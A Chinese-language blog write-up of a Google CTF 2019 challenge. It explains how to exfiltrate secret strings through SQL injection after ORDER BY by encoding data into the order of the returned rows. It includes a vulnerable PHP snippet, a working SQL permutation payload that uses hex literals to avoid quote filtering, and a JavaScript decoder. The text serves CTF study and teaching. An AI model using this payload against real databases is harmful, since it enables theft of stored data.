前言
前些日子在看google-2019-ctf的時候,看到一道關於Order by注入點的題,覺得很有趣。第一次考慮如何通過一次SQL查詢,儘可能得到更多有用的信息。
進入正題考慮下面的情況
1. $db = new mysqli(null, $dbuser, $dbpass, $dbname, null, $socket);
2. $inject = $db->escape_string($_GET['order']);
3. $sql = "select * from user order by $inject";
4. $result = $db->query($sql);
5. show_fileds($result); // 講查詢結果按順序列印出來
這個時候注入點在order by 後面,order by 後面是不能帶union select,而且此處也是不存在報錯注入的。唯一顯示是通過該處查詢得到的user表的所有內容。每次輸出的唯一差異性在於每行查詢數據的排列順序,是否可以通過不同的排列順序去間接的洩露一些信息呢?答案是肯定的。
如果有n條查詢結果,那麼就有n!種不同的排列順序,這就是有n個球和n個盒子的問題,如何把n個球放到這n個盒子裡面,每個盒子只能放一個球,其實也就是排列數公式 (n!/(n-m)!)中m=n的特殊情況即全排列。我們如何去使用這n!種情況呢?這就是本文問題所在。
字符串轉換成整數通常SQL注入的情況下,我們需要得到的信息都是字符串,所以很多情況下都是去猜解這個字符串。在只通過一次查詢的情況去猜解更多位的字符串是我們的目標。所以我們需要把我們猜解的結果以查詢結果排序的順序間接的顯示出來。需要首先考慮猜解範圍集合和排列數集合大小關係。
例如需要猜解的字符串單個字符在 "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" 36位字符集合裡面,若是長度為n的字符串,那麼猜解的範圍就為36**n,若當前user表包含9條數據,那麼排列數的大小為9!,則能表示的位數為log36(9!)=3.572417978,所以一次查詢能完全正確猜解的位數為3,那麼在n位的字符串裡面可以截取3位,這36位字符集合正好是mysql裡面36進位用到的字符,所以可以進行conv(substr(@secert,1,3),36,10),這裡的@secert表示需要猜解的字符串。如果conv無法使用,你可以自己做一個簡單的轉換(ord(c)-22)%43把"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"的ASCII映射到[0,35]上,然後再分別乘上對36**r,r表示字符對應的36進位的位數,這樣做需要在腳本解碼的時候也用同樣的映射算法。
這裡我們已經可以把分割字符串轉化10進位的整數值。整數值的大小應該是在排列數的範圍之類。接著就是如何把整數值轉換成排列值。
數字到排序的Encode 和 Decode這個地方可以理解為給出了一個字符串 和 整數n,輸出這個字符串的第n個全排列。這裡的字符串相當於這裡user表裡每行數據為單元的集合,整數n就是前面分割得到字符轉化為的整數值。這裡介紹兩種計算全排列的方法。
0x1 rand()在order by後面使用rand(), 是可以用來輸出每次查詢都是不同順序的數據行。例如:
1. MariaDB [test]> select * from maple;
2. +--+----+
3. | date | winner |
4. +--+----+
5. | 2019-03-01 | 4KYEC00RC5BZ |
6. | 2019-04-02 | 7AET1KPGKUG4 |
7. | 2019-04-06 | UDT5LEWRSWM9 |
8. | 2019-04-10 | OQQRH90KDJH1 |
9. | 2019-04-12 | 2JTBMJW9HZOO |
10. | 2019-04-14 | L4CY1JMRBEAW |
11. | 2019-04-18 | 8DKYRPIO4QUW |
12. | 2019-04-22 | BFWQCWYK9VHJ |
13. | 2019-04-27 | 31OSKU57KV49 |
14. +--+----+
15.
16. MariaDB [test]> select * from maple order by rand();
17. +--+----+
18. | date | winner |
19. +--+----+
20. | 2019-04-18 | 8DKYRPIO4QUW |
21. | 2019-04-27 | 31OSKU57KV49 |
22. | 2019-04-10 | OQQRH90KDJH1 |
23. | 2019-04-12 | 2JTBMJW9HZOO |
24. | 2019-04-02 | 7AET1KPGKUG4 |
25. | 2019-03-01 | 4KYEC00RC5BZ |
26. | 2019-04-06 | UDT5LEWRSWM9 |
27. | 2019-04-22 | BFWQCWYK9VHJ |
28. | 2019-04-14 | L4CY1JMRBEAW |
29. +--+----+
30.
31. MariaDB [test]> select * from maple order by rand();
32. +--+----+
33. | date | winner |
34. +--+----+
35. | 2019-04-12 | 2JTBMJW9HZOO |
36. | 2019-04-18 | 8DKYRPIO4QUW |
37. | 2019-04-14 | L4CY1JMRBEAW |
38. | 2019-04-27 | 31OSKU57KV49 |
39. | 2019-03-01 | 4KYEC00RC5BZ |
40. | 2019-04-22 | BFWQCWYK9VHJ |
41. | 2019-04-02 | 7AET1KPGKUG4 |
42. | 2019-04-06 | UDT5LEWRSWM9 |
43. | 2019-04-10 | OQQRH90KDJH1 |
44. +--+----+
45. 9 rows in set (0.001 sec)
可以看到每次輸出的順序是不同的,再來看一下固定的隨機種子rand(1)
1. MariaDB [test]> select * from maple order by rand(1);
2. +--+----+
3. | date | winner |
4. +--+----+
5. | 2019-04-12 | 2JTBMJW9HZOO |
6. | 2019-04-10 | OQQRH90KDJH1 |
7. | 2019-04-06 | UDT5LEWRSWM9 |
8. | 2019-04-27 | 31OSKU57KV49 |
9. | 2019-04-22 | BFWQCWYK9VHJ |
10. | 2019-03-01 | 4KYEC00RC5BZ |
11. | 2019-04-18 | 8DKYRPIO4QUW |
12. | 2019-04-02 | 7AET1KPGKUG4 |
13. | 2019-04-14 | L4CY1JMRBEAW |
14. +--+----+
15. 9 rows in set (0.001 sec)
16.
17. MariaDB [test]> select * from maple order by rand(1);
18. +--+----+
19. | date | winner |
20. +--+----+
21. | 2019-04-12 | 2JTBMJW9HZOO |
22. | 2019-04-10 | OQQRH90KDJH1 |
23. | 2019-04-06 | UDT5LEWRSWM9 |
24. | 2019-04-27 | 31OSKU57KV49 |
25. | 2019-04-22 | BFWQCWYK9VHJ |
26. | 2019-03-01 | 4KYEC00RC5BZ |
27. | 2019-04-18 | 8DKYRPIO4QUW |
28. | 2019-04-02 | 7AET1KPGKUG4 |
29. | 2019-04-14 | L4CY1JMRBEAW |
30. +--+----+
31. 9 rows in set (0.001 sec)
固定隨機種子,固定輸出一種排列順序。所以在這裡可以用 rand(conv(substr(@secert,1,3),36,10)),但在此之前,我們需要維護一張關於rand([0,n!-1])的映射表,這個工作可以在本地完成,然後通過遍歷映射表還原字符串。使用rand()相當於需要自己去額外維護一張全排列的表,下面再介紹一種方法把全排列算法放在查詢語句中。
0x2 Index of row如何把計算全排列的算法放在查詢語句裡面呢?首先我們先嘗試給每一行數據添加一個index序號,添加序號的方法又可以分為兩種,如下:
1. set @row = 0;
2. select *,@row:=@row+1 from user;
額外定義一個SQL變量用來表示每次查詢的行號。同樣也根據每行數據的特徵來表示行號,如若表的結構如下:
1. +--+----+
2. | date | winner |
3. +--+----+
4. | 2019-04-18 | 8DKYRPIO4QUW |
5. | 2019-04-27 | 31OSKU57KV49 |
6. | 2019-04-10 | OQQRH90KDJH1 |
7. | 2019-04-12 | 2JTBMJW9HZOO |
8. | 2019-04-02 | 7AET1KPGKUG4 |
9. | 2019-03-01 | 4KYEC00RC5BZ |
10. | 2019-04-06 | UDT5LEWRSWM9 |
11. | 2019-04-22 | BFWQCWYK9VHJ |
12. | 2019-04-14 | L4CY1JMRBEAW |
13. +--+----+
我們也可以用find_in_set(substr(winner,1,1),'8,3,0,2,7,4,U,B,L'))這樣的方式來表示。再來仔細理解一下order by是怎麼工作的。
1. MariaDB [test]> explain select * from maple order by 1;
2. +-+---+--+-++-+----+-+-+-+
3. | id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
4. +-+---+--+-++-+----+-+-+-+
5. | 1 | SIMPLE | maple | ALL | NULL | NULL | NULL | NULL | 8 | Using filesort |
6. +-+---+--+-++-+----+-+-+-+
7. 1 row in set (0.000 sec)
可以注意到出現了filesort,在使用這種排序的時候首先從表裡讀取所有滿足條件的行,即order by用到的列值,然後再根據每列order by 後表達式計算的值,進行一次quicksort。目標在排序之前拿到從表裡讀到的數據列的順序都是固定的,即select * from user。
這裡表的結構裡面有9列,所以要把拿到的整數值轉化成個9權重值分給每一列,再進行快速排列。前面說到的整數n應該在[0,9!)之間。所以我們可以通過除法和模運算來轉化。
1. $n = $d9 * 9 + $r9 // r9 in [0 ,8]
2. $d9 = $d8 * 8 + $r8 // r8 in [0 ,7]
3. $d8 = $d7 * 7 + $r7 // r7 in [0 ,6]
4. $d7 = $d6 * 6 + $r6 // r6 in [0 ,5]
5. $d6 = $d5 * 5 + $r5 // r5 in [0 ,4]
6. $d5 = $d4 * 4 + $r4 // r4 in [0 ,3]
7. $d4 = $d3 * 3 + $r3 // r3 in [0 ,2]
8. $d3 = $d2 * 2 + $r2 // r2 in [0 ,2]
9. $r2 = $d1 * 1 + $r1 //
10. $r1 = 0
得到[$r9 ,$r8 ,$r7 ,$r6 ,$r5 ,$r4 ,$r3 ,$r2 ,$r1],如6666會被轉化成[6 ,4 ,1 ,1 ,2 ,0 ,0 ,0 ,0],再根據這個集合轉化成[0,1,2,3,4,5,6,7,8]賦給每一列,如何轉化呢?
首先定義@l: = "012345678"表示權重tokens,再把[6 ,4 ,1 ,1 ,2 ,0 ,0 ,0 ,0] + 1當做下標,去截@l裡面的字符。每次截取之後就把截取出來的字符從@l裡面去掉,最後生成了[6 , 4 ,1 ,2 ,5 ,0 ,3 ,7 ,8],按照順序再賦值給每一列order by返回值,生成排序結果。以上部分相當於是Encode的部分,把整數值n轉化成對應全排列。用SQL語句來表示為:
1. select *
2. from maple
3. order by
4. (select concat(
5. (select 1 from(select @l:=0x303132333435363738,@r:=9,@b:=66)x),//0x303132333435363738 == 「012345678」因為過濾了單引號
6. substr(@l,1+mod(@b,@r),1),
7. @l:=concat(substr(@l,1,mod(@b,@r)),
8. substr(@l,2+mod(@b,@r))),
9. @b:=@b div @r,@r:=@r-1));
可以看到這裡order by 後面表達式返回的是concat拼接的一長串值,不是簡單的"012345678"裡面的某個單字符。這裡其實不影響,mysql裡面字符串進行比較的時候,是按位比較的,這裡第一位都是1不影響,緊接著就是每一列真正的權重值。
前面說到find_in_set(substr(winner,1,1),'8,3,0,2,7,4,U,B,L'))這種輸出行號的方法,在這裡其實也是可以用到的。可以通過嵌套的select,先用一個select 得到[6 ,4 ,1 ,1 ,2 ,0 ,0 ,0 ,0]除法和模運算得到的序列,再用一次select得到[6 , 4 ,1 ,2 ,5 ,0 ,3 ,7 ,8]權重值序列,再通過find_in_set(substr(winner,1,1),'8,3,0,2,7,4,U,B,L'))依次去取前面得到的權重值數組裡面的值。相對來說還是第一種方法較為簡單。
解碼過程就是把排列順序還原成整數n,再將整數n還原字符串,第二步較為簡單。第一步的操作如下:
1. function cal(str){
2.
3. a = "012345678"
4. offsets = [];
5. while(str.length>0){
6. chr=str.substr(0,1)
7. str=str.substr(1)
8. offset = a.indexOf(chr)
9. offsets.push(offset);
10. a = a.substr(0,offset)+a.substr(offset+1);
11.
12. }
13. len = offsets.length
14. num = 0
15. cx = 1
16. while(len>0){
17.
18. num = num*cx+offsets[len-1]
19. cx++;
20. len--;
21. }
22. //console.log(cx);
23. console.log(num);
24. }
可把得到的排序序列組成的字符串轉換成整數n,Decode算法按照Encode 的算法來寫就行。
總結SQL注入在原印象中都是利用頁面的差異一位一位的猜解,在此處order by可以儘可能多的猜解多位,對於長字符串你需要根據表中數據列的多少進行分割再依次進行猜解,這個地方需要注意的是,我看到有的地方對於長字符串可以壓縮之後再進行猜解,length(compress(@string)) < length(@string) 字符串長度在90左右時候成立,但是在這個地方,是否也可以將字符串進行壓縮呢?我認為並不是一個明智的選擇,壓縮之後會引入新的字符,可能會減少字符串的長度,但一定會增加猜解的範圍。其實關於用SQL生成全排列的算法遠不止上面幾種,有興趣的朋友可以自己再琢磨琢磨。
關注脈搏,有更多安全資訊及技術性文章在等你!
↙↙↙ 點擊 」閱讀原文「 與作者展開話題探討,直面交流